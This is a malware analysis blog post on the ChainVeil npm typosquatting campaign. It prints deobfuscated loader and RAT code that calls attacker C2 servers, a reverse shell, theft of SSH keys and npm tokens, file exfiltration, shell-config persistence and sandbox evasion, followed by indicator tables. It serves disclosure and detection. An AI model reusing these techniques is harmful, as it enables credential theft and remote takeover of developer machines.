ChainVeil: A Malicious npm Supply Chain Attack by SuccessKey - Checkmarx
Free Virtual Summit Agentic AppSec Unleashed '26 is June 16th Register Now
Outlook Report The Future of Application Security in the Era of AI Download Now
Latest Innovations
Checkmarx for Developers
Partners
Blog
Research
← Zero Blog

ChainVeil: A Malicious npm Supply Chain Attack by SuccessKey

A new npm supply chain attack campaign leverages typosquatting and a command-and-control system that’s nearly impossible to disable. Learn how the actor “SuccessKey” takes steps to hide from malware detection, resist researcher analysis, and use public blockchains for control. Includes IoCs and methods to find out whether you’re at risk.

An illustration showing a hooded hacker figure overseeing an npm supply chain attack. It features a laptop, npm packages, blockchain layers (Aptos, BSC), and a flowchart of attack stages like reverse shell, credential theft, and backdoor injection, all in a dark, neon green digital style.

(Researcher and Author: Pavan Gudimalla, Application Security Analyst)

Overview: What We Found

Checkmarx Zero’s ongoing research into malicious open-source libraries has uncovered and reported a targeted supply chain campaign that bears strong indications of being operated by a threat actor known as “SuccessKey” (no apparent relationship to several companies of the same name).

As of this writing, all npm packages related to this campaign have been reported and taken down by npm; however, the nature of the campaign and the Command and Control (C2) system suggest a high probability that this campaign is ongoing and will see future attack attempts.

Our investigation began when we found a malicious npm package called rate-limit-flexible — a typosquat of the popular legitimate package rate-limiter-flexible (note the missing “er” in the false package). During follow-up analysis we found it was not a one-off: the same npm author, successkeyteck, published at least nine packages sharing byte-for-byte identical malicious code in lib/lib.min.js, differing only in a single campaign-marker line (global['_V']=...).

Across the family, the malware contains no suspicious install scripts. On the positive side, this means merely installing the malicious packages will not infect a host. On the negative side, this can make the malicious behavior more difficult to detect for endpoint controls.

The payload is buried in lib/lib.min.js and executes silently the first time any module in the package is imported. It uses an unprecedented 4-tier blockchain-based Command and Control (C2) infrastructure spanning three blockchains (Tron, Aptos, Binance Smart Chain) to deliver a full-featured Remote Access Trojan (RAT) with reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection. This tactic makes disabling or destroying the C2 infrastructure extremely difficult.

We are tracking this campaign as ChainVeil, attributed to the actor SuccessKey, and it appears to have been active since at least May 2026. We have reported the current packages to npm, and added them to the Checkmarx malicious package database for users of our Malicious Package Protection (MPP) and Malicious Package Identification (MPI) API products.

If you have any of the impacted versions below, you should begin response immediately. If you have any of the packages, at any version, you should monitor and investigate – we believe that even those packages that have published safe versions have always been under attacker control, and should be removed from your dependency list.

ChainVeil Is an Active Malicious Package Campaign

Initial analysis flagged a single package, but the loader in lib/lib.min.js is templated — the attacker drops the exact same malware into a fresh typosquat and changes only the first line (the global['_V'] campaign marker). Examining other packages looking for the npm author successkeyteck and on the shared loader signature surfaced an entire family of malicious packages.

The ChainVeil package family

Package Name Malicious Versions Published Date Malicious File Campaign Marker (changed line) Downloads
tailwindcss-merge 1.0.1, 1.0.2, 1.0.3, 1.0.4 Jun 6, 2026 lib/lib.min.js global['_V']='A6-519-#' 663
sass-format ANY Jun 9, 2026 lib/lib.min.js global['_V']='A6-420' 174
tailwindcss-animates-kit ANY May 18, 2026 lib/lib.min.js global['_V']='A6-318' 149
sass-formats 1.0.2, 1.0.3, 1.0.4, 1.0.5 Jun 6, 2026 lib/lib.min.js global['_V']='A6-519-79' 958
clsx-tailwind 1.0.1 Jun 6, 2026 lib/lib.min.js global['_V']='A6-519-81' 178
tailwindcss-animatics ANY May 18, 2026 lib/lib.min.js global['_V']='A6-317' 312
typeorm-encrypt 1.0.1 Jun 6, 2026 lib/lib.min.js global['_V']='A6-519-85' 335
rate-limits-flexible 1.0.1 Jun 10, 2026 lib/lib.min.js global['_V']='A6-420-#' 151
rate-limit-flexible ANY Jun 7, 2026 lib/lib.min.js v1.0.1: global['_V']='A6-519-81'v1.0.2: global['_V']='A6-519-83' 373
Note: npm registry metadata for rate-limit-flexible was observed as of June 7 in our deep dive; the family inventory lists June 6. The one-day delta is likely a registry-mirror timestamp difference and does not affect the analysis.

The ChainVeil campaign at a glance

Metric Value
Total packages 9
Total malicious versions 14
Combined downloads 3,293
Earliest publish date May 18, 2026
Latest publish date June 10, 2026
Common malicious file lib/lib.min.js
npm author successkeyteck

The campaign reuses the same malicious loader pattern by dropping it into lib/lib.min.js and inserting a version marker via the global['_V'] variable, with variants such as A6-317, A6-318, A6-420, and multiple A6-519-* identifiers.

Markers make a strong case for a unified campaign

Three findings stand out from the marker scheme:

1. The _V marker is a shared variant tag. clsx-tailwind (1.0.1) and rate-limit-flexible (1.0.1) both ship A6-519-81. The same value appearing in two unrelated packages proves the marker tracks a payload/routing variant rather than a unique package or unique install. This is a strong attribution signal that can be used for both historical identification and flagging future campaign activity.

2. The numbering is sequential and batched. The A6- prefix is constant across the entire family: almost certainly an operator/operation identifier. The suffix increments roughly with time: A6-317/A6-318 (May 18), then A6-420, then a dense A6-519-7x/8x block in June. The A6-519-* sub-series alone spans at least -79-81-83, and -85, implying numerous additional variants (and likely additional packages) we have not yet enumerated.

3. Routing is marker-driven. Recall the campaign logic: any _V starting with "A" routes to the primary C2 (166.88.54.158). Every marker in this family starts with A6-, so the entire family funnels to the same primary C2 — confirming single-operator control across all nine packages.

ChainVeil is targeting front-end and full-stack JS developers

The typosquats are not random. They impersonate cornerstone packages of the modern JavaScript toolchain. Here’s how the fake packages map to common ecosystems (package names below are unsafe):

  • Tailwind ecosystem: tailwindcss-mergetailwindcss-animates-kittailwindcss-animaticsclsx-tailwind
  • Sass tooling: sass-formatsass-formats
  • Backend / ORM: typeorm-encrypt
  • Rate limiting: rate-limit-flexiblerate-limits-flexible

Note the double typosquatssass-format/sass-formats and rate-limit-flexible/rate-limits-flexible. Publishing near-identical name pairs both widens the net (catching multiple plausible typos) and provides a built-in fallback if one name is taken down. The targeting strategy appears to be straightforward: compromise the workstation of anyone building or styling a modern web app, where SSH keys, npm tokens, and cloud credentials are abundant.

C2 Infrastructure predates the ChainVeil packages by almost a year

The earliest npm packages were published May 18, 2026, yet the blockchain C2 (Command and Control) wallet history reaches back to June 2025. The attacker stood up the C2 first and has been rotating payloads against it for a year — the npm packages are simply the latest delivery wrapper bolted onto pre-existing infrastructure. Low download counts (3,293 combined) can understate the impact: each successful import is a full RAT compromise with credential theft, so the effective blast radius includes every developer who installed any of the nine packages.

This demonstrates a long-term effort and clear attack plan by the threat actor, which suggests to us that we’re going to continue to see attacks in the ChainVeil family into the future.

Representative Sample: rate-limit-flexible Package Analysis

The remainder of this report dissects rate-limit-flexible as the representative specimen. Every finding generalizes to the other eight packages, which differ only in the _V marker.

We flagged rate-limit-flexible published June 7, 2026 with two versions (1.0.1 and 1.0.2). The name immediately stood out as a typosquat of the widely-used legitimate package rate-limiter-flexible (note the missing “er” in “limiter”).

Legitimate Package Malicious Package
Name rate-limiter-flexible rate-limit-flexible
Difference Missing “er” in “limiter”
Downloads Millions Newly published
Versions 100+ stable releases 1.0.1, 1.0.2 only
Published Years of history June 7, 2026

Two Versions, Two Campaign IDs

Both versions contain identical malicious code in lib/lib.min.js — the only difference is the campaign identifier set on the very first line:

Version Campaign ID First Line
1.0.1 A6-519-81 global['_V']='A6-519-81';
1.0.2 A6-519-83 global['_V']='A6-519-83';

Since the campaign ID starts with “A” in both versions, both route to the same primary C2 server (166.88.54.158). The different IDs let the attacker track which version infected a machine. When the RAT registers with the C2, the _V value is sent along, telling the operator whether the victim installed 1.0.1 or 1.0.2. This is standard campaign management: the attacker can measure which version gets more installs and attribute stolen credentials to specific package versions. As shown above, the same mechanism scales across the entire ChainVeil package family.

A Clean-Looking package.json

The first deceptive element: package.json contains zero suspicious install scripts. There are no preinstallpostinstall, or prepare hooks (the standard red flags automated scanners look for):

{
  "name": "rate-limit-flexible",
  "version": "1.0.2",
  "description": "Node.js atomic and non-atomic counters, rate limiting tools, protection from <abbr title="Denial of Service">DoS</abbr> and brute-force attacks at scale",
  "main": "index.js",
  "scripts": {
    "dc:up": "docker-compose -f docker-compose.yml up -d",
    "dc:down": "docker-compose -f docker-compose.yml down",
    "test": "npm run prisma:postgres && npm run drizzle:postgres && nyc ...",
    "eslint": "eslint --quiet lib/**/**.js test/**/**.js"
  }
}

The scripts section contains only standard development tools: Docker, testing harness, linter. The keywords, description, and devDependencies are all copied from the legitimate package to maximize authenticity.

The Hidden Payload: lib/lib.min.js

The malicious code doesn’t execute at install time but at import time, which can limit endpoint security detections as these are often configured to ignore active projects on a developer’s device. When any part of the package is require()‘d through the index.js entry point, the module tree loads lib/lib.min.js, which contains the obfuscated malware. The payload fires the first time a developer’s application runs with the imported package; likely during development and testing. But if not notices and stopped there, the payload would also execute in production the first time the running application imports one of the malicious packages.

This is a deliberate evasion of install-hook scanners. Many security tools only audit preinstall/postinstall scripts and would mark this package as clean.

Figure 1: lib/lib.min.js

Stage 0: The Entry Point — lib/lib.min.js

The malware lives in lib/lib.min.js, disguised as a minified library file. When loaded via require(), it immediately executes. The first lines set the campaign ID and establish keyword-evasion aliases:

global['_V'] = 'A6-519-83';      // Campaign ID (v1.0.2; v1.0.1 uses 'A6-519-81')
global['r'] = require;             // Hide 'require' behind single letter
if (typeof module === 'object')
  global['m'] = module;            // Hide 'module' behind single letter

By storing require as global['r'], every subsequent module load uses r('https') or r('child_process') instead of the original keywords — invisible to grep-based static scanners.

The rest of lib/lib.min.js is wrapped in an immediately-invoked function containing the YWG shuffler — a custom obfuscation layer identical in structure to the NVu shuffler found in deeper stages, but with a different seed:

(function(){
  var tLM='', xcg=984-973;
  function YWG(x) {
    var w = 2540575;  // Seed for this stage
    var v = x.length;
    var f = [];
    for (var h = 0; h < v; h++) { f[h] = x.charAt(h) }
    for (var h = 0; h < v; h++) {
      var e = w * (h + 181) + (w % 34950);
      var r = w * (h + 133) + (w % 50568);
      var m = e % v; var i = r % v;
      var k = f[m]; f[m] = f[i]; f[i] = k;
      w = (e + r) % 5954865;
    }
    return f.join('');
  }
  // ... shuffled strings and Function constructor chain ...
  var duM = zIv(YWG('n?%n4,5.[=.650e6t.sdno.j4S(H5corre7tu%l%...'));
  var XZs = Okl(tLM, duM);
  XZs(7942);   // ← Executes the deobfuscated payload
})()

When deobfuscated (by replacing the execution call with console.log), this produces the blockchain C2 loader — the code that reaches out to Tron, Aptos, and BSC to fetch the next stage.

Figure 2: deobfusated lib/lib.min.js

The Obfuscation Framework: Seeded String Shuffling

Every stage uses a custom deterministic Fisher-Yates shuffle that reconstitutes strings at runtime from scrambled character arrays:

function NVu(s) {
  var x = 6964224;  // Deterministic seed
  var z = s.length;
  var f = [];
  for (var m = 0; m < z; m++) { f[m] = s.charAt(m) }
  for (var m = 0; m < z; m++) {
    var a = x * (m + 122) + x % 16975;
    var w = x * (m + 89) + x % 35503;
    var n = a % z;
    var t = w % z;
    var p = f[n]; f[n] = f[t]; f[t] = p;
    x = (a + w) % 7635721;
  }
  return f.join("");
}

Because the seed is hardcoded, the shuffle is perfectly reproducible. The result is used to access the Function constructor, which then builds and executes the next layer:

NVu(scrambled_string) → "constructor"
→ Function("", deobfuscated_code)
→ Execute inner payload

We encountered seven different instances of this shuffler across the campaign, each with a different seed:

Stage Shuffler Seed Location
Stage 0 (lib.min.js) YWG 2,540,575 lib/lib.min.js
Stage 1 (inner loader) NVu 6,964,224 Deobfuscated from Stage 0
Stage 2A inner _$_56c8 3,380,292 Blockchain-delivered payload
Stage 2B inner dmO 497,749 Blockchain-delivered payload
Campaign config _$_bfdd 3,044,427 Inside Stage 2A
Base64 config _$_96c7 5,914,652 Inside Stage 2A
Stage 2B final _$_7b43 2,195,485 Deobfuscated from Stage 2B
Figure 3: The NVu shuffler function in the deobfuscated code

Stage 1: The Blockchain Command and Control (C2) System

After deobfuscating lib/lib.min.js (the YWG shuffler), the output contains another layer — the NVu shuffler wrapping the actual blockchain C2 loader. This second deobfuscation reveals an async function with anti-reentry guards:

(async () => {
  if (global["_t_t"]) return;
  global["_t_t"] = (new global.Date).getTime();
  if (typeof __dirname !== "undefined") global["___dirname"] = __dirname;
  if (typeof __filename !== "undefined") global["___filename"] = __filename;
  // ... blockchain <abbr title="Command and Control">C2</abbr> resolution code follows ...
})();

The malware records __dirname and __filename — it wants to know exactly where the package was installed. This is later exfiltrated to the C2. The anti-reentry guard ensures the payload only fires once per process.

The concept

Instead of storing C2 addresses on domains that can be seized by authorities or shut down by providers, the attacker stores pointers as transaction data on public blockchains. This makes destruction or disabling of C2 infrastructure extremely difficult. It works like this:

  1. Query the Tron blockchain for the latest outbound transaction from the attacker’s wallet.
  2. Extract the transaction data: it contains a BSC transaction hash, hex-encoded and reversed.
  3. Query Binance Smart Chain using that hash: the BSC transaction’s input field contains the encrypted payload.
  4. XOR decrypt the payload with a hardcoded key.

If the Tron query fails, the malware falls back to the Aptos blockchain, which stores the same BSC pointer.

async function fetchPayload(xorKey, tronAddr, aptosHash) {
  let pointer;
  try {
    // PRIMARY: Tron blockchain
    const tronResp = await httpGet(
      "https://api.trongrid.io/v1/accounts/" + tronAddr +
      "/transactions?only_confirmed=true&only_from=true&limit=1"
    );
    pointer = Buffer.from(
      tronResp.data[0].raw_data.data, 'hex'
    ).toString('utf8').split('').reverse().join('');
  } catch (e) {
    // FALLBACK: Aptos blockchain
    const aptosResp = await httpGet(
      "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" +
      aptosHash + "/transactions?limit=1"
    );
    pointer = aptosResp[0].payload.arguments[0];
  }

  // Resolve via BSC
  const bscResp = await rpcCall(
    'eth_getTransactionByHash', [pointer],
    'bsc-dataseed.binance.org'
  );
  const encrypted = Buffer.from(
    bscResp.result.input.substring(2), 'hex'
  ).toString('utf8').split('?.?')[1];

  // XOR decrypt
  let result = '';
  for (let i = 0; i < encrypted.length; i++) {
    result += String.fromCharCode(
      encrypted.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length)
    );
  }
  return result;
}
Figure 4: The blockchain resolution code after deobfuscation

How the Tron Pointer Works

The attacker’s Tron wallet (TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) sends 1 SUN (0.000001 TRX) transactions to the zero address. The value is irrelevant — the payload is in the data field:

Tron tx data (hex):
  393866653164613735306631613333613365623237333964...

Decoded to UTF-8:
  98fe1da750f1a33a3eb27339d0992b98080f9caba63d75e1cb521985ee8411a08x0

Reversed:
  0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef89

Result: A valid BSC transaction hash ✓

How the BSC Payload Works

The referenced BSC transaction is sent to the burn address (0x...dEaD) with zero value and maximum input data. The input field structure is:

[?.?][XOR-encrypted payload][?.?]
  ↑ delimiter              ↑ delimiter

The malware splits on ?.? and takes segment[1]. The attacker can rotate the payload at any time by posting a new Tron transaction pointing to a different BSC hash; every infected machine fetches the latest transaction and pivots automatically.

Figure 5: Tron transaction data on Tronscan showing the hex-encoded pointer

Figure 6: BSC transaction on BscScan showing the burn address and large input data

We Traced the Live Chain

We pulled the actual Tron transaction data and decoded every outbound transaction, revealing 17 payload rotations spanning June 2025 to May 2026. We fetched the Aptos fallback and confirmed it stored the same BSC hash — both blockchains were synchronized within 6 seconds of each other, confirming an automated deployment script. We retrieved the BSC raw transaction from BscScan, extracted the input field, split on ?.?, and XOR-decrypted with the key 2[gWfGj;<:-93Z^C.

The result: two payloads, two execution paths.

Stage 1 Produces Two Payloads

The loader executes two payloads, using separate Tron wallets, separate XOR keys, and separate execution methods.

Stage 2A — The Dynamic Path (eval)

const payload1 = await fetchPayload(
  '2[gWfGj;<:-93Z^C',
  'TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP',
  '0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e'
);
eval(payload1);

Stage 2A is eval()‘d directly in the main thread. Its Tron wallet has been rotated 17 times: this is a dynamic, frequently-updated component.

const payload2 = await fetchPayload(
  'm6:tTh^D)cBz?NM]',
  'TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG',
  '0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3'
);
require('child_process').spawn('node', ['-e',
  "global['_V']='" + campaignId + "';" + payload2
], {
  detached: true,      // Survives parent process exit
  stdio: 'ignore',     // Completely silent
  windowsHide: true    // Hidden on Windows
});

Stage 2B is spawned as a detached, hidden, silent child process. It survives the parent’s exit, produces no output, and is invisible on Windows. Its Tron wallet has only one transaction: the persistent implant has never been rotated. If the spawn fails, it falls back to eval():

.on('error', (e) => {
  eval(payload2);  // Fallback if spawn fails
});
Figure 7: The dual execution paths in the deobfuscated loader

Stage 2A: Campaign Configuration & Inner Blockchain Loader

After another round of NVu deobfuscation, Stage 2A reveals a campaign configuration layer and a second blockchain loader.

Three C2 Servers, Campaign-Based Routing

_V = global["_V"] || 0;  // "A6-519-83" — set by the npm package

if (_V[0] == "A" || _V == "0") {
    global["_t_s"] = "http://166.88.54.158:443";
    global["_t_u"] = "http://166.88.54.158";
}
else if (!isNaN(parseInt(_V))) {
    global["_t_s"] = "http://198.105.127.210:443";
    global["_t_u"] = "http://198.105.127.210";
}
else {
    global["_t_s"] = "http://23.27.202.27:443";
    global["_t_u"] = "http://23.27.202.27:27017";
}

Three hardcoded IPs. Every marker in the ChainVeil family starts with A6-, so all nine packages route to the primary C2 (166.88.54.158). The third server’s port 27017 is the default MongoDB port, which is almost certainly the exfiltration database. The numeric-routing branch (198.105.127.210) suggests other, non-A6 campaigns share this same loader infrastructure.

Authentication Tokens

global["ZtT887m6p3f985ez24_77Tdx760f86N9s9A_d4d4dfc12LK0rbe07c"]
  = "b_6ZPe7213af218Jrb600t3Q3353_Ja5J2ec7f8c3vx370M1e0be7E";

These are sent to the C2 during registration to identify the campaign variant.

Tier-2 Blockchain Addresses

global["_t_1"] = "TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v";
global["_t_2"] = "0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1";

The inner loader then performs the same Tron → BSC resolution using these Tier-2 addresses to fetch the final payload.

Figure 8: The decoded _$_bfdd string array showing all three C2 IPs and blockchain addresses

Stage 2B: The Backup Channel

Stage 2B — the detached hidden process — skips the blockchain chain and fetches directly from the C2 over HTTP:

(async function() {
  if (r[0] == "A") {
    c["_H2"] = "http://166.88.54.158";
  }

  var url = new URL(c["_H2"] + "/$/boot");
  var opts = {
    method: "GET",
    hostname: url.hostname,
    port: url.port,
    path: "/$/boot",
    headers: {
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " +
        "AppleWebKit/537.36 (KHTML, like Gecko) " +
        "Chrome/131.0.0.0 Safari/537.36",
      "Sec-V": campaignId   // "A6-519-83"
    }
  };

  var encrypted = await httpRequest(opts);

  var key = "ThZG+0jfXE6VAGOJ";
  var decrypted = "";
  for (var i = 0; i < encrypted.length; i++) {
    decrypted += String.fromCharCode(
      encrypted.charCodeAt(i) ^ key.charCodeAt(i % key.length)
    );
  }

  await eval(decrypted);
})()

The endpoint /$/boot serves the XOR-encrypted RAT payload. The campaign ID is sent in the Sec-V header, and the User-Agent spoofs Chrome on Windows.

This creates a dual redundant delivery system:

Path Source Resilience Speed
Stage 2A (blockchain) Tron → Aptos → BSC → XOR Cannot be taken down Slower (3 API calls)
Stage 2B (direct HTTP) C2 server /$/boot → XOR Can be firewall-blocked Fast (1 HTTP call)

Both paths must be neutralized to fully disrupt the campaign.

Figure 9: The Stage 2B deobfuscated code showing the HTTP fetch and XOR decryption

Stage 3: Tier-2 Blockchain Resolution

Stage 2A’s inner loader performs a second blockchain resolution using the Tier-2 wallet:

Tron wallet: TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v
  │
  ▼ (API: api.trongrid.io)
Transaction data (hex decoded + reversed):
  0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968
  │
  ▼ (BSC RPC: eth_getTransactionByHash)
Input field: 77,282 bytes of XOR-encrypted data
  │
  ▼ (Split on "?.?" → XOR decrypt with "2[gWfGj;<:-93Z^C")
Final payload: 77KB RAT

This Tier-2 wallet has only one outbound transaction (posted ~June 8, 2026). The attacker updates intermediate loaders often but keeps the final payload address constant.

Figure 10: The Tier-2 Tron wallet transaction on Tronscan
 Figure 11: The 77KB BSC transaction on BscScan showing the burn address destination

Stage 4: The Weapon — A Production-Grade RAT (Remote Access Trojan)

The final 77KB payload arrives protected by LZString UTF-16 compression and array-indexed string obfuscation. After decompression, it reveals a full-featured Remote Access Trojan.

System Fingerprinting

const platform   = os.platform();        // win32 / darwin / linux
const hostname   = os.hostname();         // machine name
const uid        = os.userInfo().uid;     // user ID
const osType     = os.type();             // OS type
const release    = os.release();          // kernel version
const argv       = process.argv;          // how the process was started
const cwd        = process.cwd();         // current working directory
const installDir = __dirname;             // where the package was installed
const scriptPath = __filename;            // full path to this script

WebSocket Reverse Shell

const ws = WebSocket("ws://166.88.54.158:443", { timeout: 5000 });

ws.on("open", () => {
  ws.send("register", "init", {
    id:        deviceId,      // Persistent UUID (stored on disk)
    session:   sessionId,     // Per-session UUID
    os:        osType,        // Operating system
    version:   version,       // Malware version
    _V:        "A6-519-83",   // Campaign ID (or "A6-519-81" for v1.0.1)
    timestamp: installTs,     // First-install timestamp
    machineId: machineId      // Hardware-derived persistent ID
  });
  global.lastSeen = new Date().getTime();
});

Once connected, the C2 operator has a full interactive shell:

Command What It Does
Any shell command Executed via child_process.exec() — full shell access
cd <path> Change working directory
info Dump complete system profile, campaign ID, all paths, timestamps
upload:file,dest Upload a single file to C2 server
uploadDir:dir,dest Recursively upload entire directory tree
inject:filepath Inject persistence payload into a file
eval:code Execute arbitrary JavaScript
evalb:base64 Execute base64-encoded JavaScript
ss:url Reconnect WebSocket to a different C2 URL
home cd to home directory
stop Cancel current upload operation
*cmd args Spawn detached background process
exit Kill process (non-persistent context only)
kill Force kill process
Figure 12: The command handler function after deobfuscation

Credential Harvesting

// Shell configuration — contains env vars, tokens, aliases, paths
harvest("~/.bashrc",  ".bashrc");
harvest("~/.zshrc",   ".zshrc");
harvest("~/.profile", ".profile");

// SSH keys — the entire .ssh directory, recursively
harvest("~/.ssh/",    ".ssh");

// npm authentication
harvest("~/.npmrc",   ".npmrc");

On macOS, it additionally reads Keychain exports, filtering for OAuth tokens (entries starting with “O”) and hashing them with SHA256.

File Exfiltration

async function uploadFile(hostname, files, destination, sessionId) {
  const formData = new FormData();
  formData.append("name", hostname);     // Machine identifier
  formData.append("path", destination);  // Remote storage path
  files.forEach(file => {
    const basename = path.basename(file);
    formData.append(basename, fs.readFileSync(file));
  });
  await http.post(C2_URL + "/upload", formData, {
    headers: formData.getHeaders()
  });
}

Persistence: Invisible Shell Config Injection

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

function injectPersistence(filePath, fileType, force, callback) {
  let content = fs.readFileSync(filePath, 'utf8');

  // Skip if already infected (campaign marker check)
  if (content.includes("'" + campaignId + "'")) {
    return false;
  }

  // Inject after 200 spaces of whitespace padding
  const payload = "\n" + " ".repeat(200) +     // ← INVISIBLE padding
    COMMENT_MARKER +                            // Format-specific comment
    "\neval('" + fileType + "';" +
    "'" + campaignId + "';" + callbackCode;

  fs.appendFileSync(filePath, payload, 'utf8');
}

The 200 spaces of padding push the malicious code far beyond the visible area of any text editor’s horizontal scroll. The malware handles six different file format comment markers — bash (#), zsh, npm config, SSH config, and others — ensuring the injected code doesn’t cause syntax errors. Because the marker check uses the per-package _V value, a host infected by multiple ChainVeil packages can be injected multiple times — once per distinct marker — leaving several padded blocks to hunt for.

Anti-Analysis Techniques

Before doing anything malicious, the RAT actively tries to work out who is watching. If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet. Three distinct checks handle this.

Sandbox Detection

if (process.env.CI ||
    hostname === "localhost" ||
    hostname === "RUNNERADMIN") {
  return installTimestamp;  // Behave cleanly
}

What it does: The malware looks for tell-tale signs that it’s running inside an automated test or analysis environment rather than on a real developer’s laptop. process.env.CI is a flag that build pipelines (GitHub Actions, GitLab CI, etc.) automatically set; a hostname of localhost or RUNNERADMIN is typical of throwaway sandboxes and CI runners, not personal machines. If any of these match, the code bails out early and behaves like a harmless package — no C2 contact, no theft. The goal is to look completely benign to the automated scanners that security teams and npm itself run, while still firing on genuine victim machines.

On macOS it goes further, inspecting APFS volume layouts and other system traits that differ between real Macs and the virtual machines analysts commonly use.

Anti-Debugging Traps

var check = function() {
  const test = function() {
    const regex = new RegExp("\n");
    return regex.test(check);  // Detects if function was prettified
  };
  if (test()) { while (true) {} }  // Hang forever
};

What it does: This is a trap aimed at researchers who try to read the code. Malware is shipped as a single dense, unformatted line; the first thing an analyst does is “prettify” it — run it through a formatter that adds line breaks and indentation to make it readable. This snippet checks whether its own code contains a newline character (the \n), which would only be present if someone had reformatted it. If it detects that tampering, it drops into while (true) {} — an infinite loop that freezes the analysis tool forever. In other words, the simple act of making the malware readable causes it to hang, wasting the analyst’s time and protecting the payload.

Anti-Replay Guard

const now = (new Date).getTime();
if (global['_p_t'] && now - global['_p_t'] < 30000) return;
global['_p_t'] = now;

What it does: This is a self-throttle. It records the timestamp of the last run and refuses to execute again if less than 30 seconds (30000 milliseconds) have passed. During a normal install or import, the same module can get loaded several times in quick succession — without this guard the payload would fire repeatedly, spawning duplicate processes and generating noisy, suspicious activity that’s easy to spot. By running at most once every 30 seconds, the malware stays quiet and avoids drawing attention to itself.

Infrastructure Map and Indicators of Compromise (IoC)

Threat Actor

Attribute Value
Campaign name ChainVeil
Actor SuccessKey (npm handle successkeyteck)
Operator tag A6- prefix (constant across all markers)
Known packages 9 (see above)

C2 Servers

IP Address Port(s) Role
166.88.54.158 443 Primary C2 — WebSocket RAT, HTTP file upload, /$/boot bootstrap (all A6-* markers)
198.105.127.210 443 Secondary C2 — numeric campaign IDs
23.27.202.27 443, 27017 Tertiary C2 + MongoDB exfiltration database

Blockchain Infrastructure

Tier Chain Address Rotations Purpose
1 Tron TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP 17 Stage 2A pointer
1 Tron TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG 1 Stage 2B pointer
1 Aptos 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Synced with Tron Fallback for Stage 2A and 2B
2 Tron TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v 1 Final RAT pointer
2 Aptos 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1 Synced with Tron Tier 2 fallback

BSC Payload Transactions

Payload Transaction Hash Size
Stage 2A 0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef89 ~5.8 KB
Stage 2B 0xa896af4f2876df59af1e705fb75031630ebd37fa89659a9896be4d3da8c87f02 ~3.6 KB
Final RAT 0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968 ~77 KB

Cryptographic Material

Key Value Used For
XOR Key (Tier 1, 2A) 2[gWfGj;<:-93Z^C Decrypt Stage 2A + final RAT from BSC
XOR Key (Tier 1, 2B) m6:tTh^D)cBz?NM] Decrypt Stage 2B from BSC
XOR Key (HTTP) ThZG+0jfXE6VAGOJ Decrypt Stage 2B HTTP /$/boot response
BSC Delimiter ?.? Separates junk prefix from encrypted payload
Auth Token (key) ZtT887m6p3f985ez24_77Tdx760f86N9s9A_d4d4dfc12LK0rbe07c C2 campaign authentication
Auth Token (value) b_6ZPe7213af218Jrb600t3Q3353_Ja5J2ec7f8c3vx370M1e0be7E C2 campaign authentication

Campaign Markers (_V) Observed

A6-317A6-318A6-420A6-420-#A6-519-79A6-519-81A6-519-83A6-519-85A6-519-# — all route to primary C2 (166.88.54.158). Note A6-519-81 is reused across clsx-tailwind and rate-limit-flexible v1.0.1.

C2 Endpoints

Endpoint Method Purpose
ws://166.88.54.158:443 WebSocket Reverse shell command & control
http://166.88.54.158/upload POST (multipart) File exfiltration
http://166.88.54.158/$/boot GET Stage 2B payload delivery
http://166.88.54.158:443/?v=<id>&h=<host>$<uid> GET Initial registration

Files Targeted

File/Path Platform Data Stolen
~/.bashrc Linux/macOS Env vars, tokens, aliases
~/.zshrc Linux/macOS Env vars, tokens, aliases
~/.profile Linux/macOS Env vars, login config
~/.ssh/* (all files) All SSH private keys, known_hosts, config
~/.npmrc All npm authentication tokens
macOS Keychain CSV macOS OAuth tokens, passwords

Campaign Timeline

Combining the Tron wallet history with npm publish dates reconstructs the full operational timeline. Note the infrastructure (blockchain) predates the npm packages by ~11 months.

Date Event
Jun 13, 2025 Blockchain C2 launches — 3 payload rotations within 8 minutes (testing/debugging)
Jun 24, 2025 Rotation #4-5 — two updates in 9 minutes
Jul 23, 2025 Rotation #6
Aug 19, 2025 Rotation #7
Sep 1, 2025 Rapid rotation #8-10 — 3 updates within 30 minutes (possible detection response)
Dec 1, 2025 Rotation #11
Mar 2, 2026 Rotation #12
Mar 24, 2026 Tier-1 wallet funded from 2 addresses within 21 seconds — infrastructure expansion
Mar 24, 2026 Stage 2B wallet + Tier-2 wallet activated
Mar 29, 2026 Rotation #13
May 18, 2026 First ChainVeil npm packages published — tailwindcss-animatics (A6-317), tailwindcss-animates-kit (A6-318)
May 20, 2026 Rotation #14
May 23, 2026 Rotation #15-16 — Aptos synced within 6 seconds of Tron
Jun 6, 2026 Burst of publications — tailwindcss-merge, sass-formats, clsx-tailwind, typeorm-encrypt
Jun 7, 2026 rate-limit-flexible published (v1.0.1 A6-519-81, v1.0.2 A6-519-83)
Jun 8, 2026 Tier-2 BSC transaction posted — final RAT stored on-chain
Jun 9, 2026 sass-format published (A6-420)
Jun 10, 2026 rate-limits-flexible published (A6-420-#) — latest known

The campaign has been active for about a year with no signs of stopping. The A6-3xx → A6-4xx → A6-519-* progression of markers maps cleanly onto the May → June publication waves, suggesting a sequential, batched release cadence.

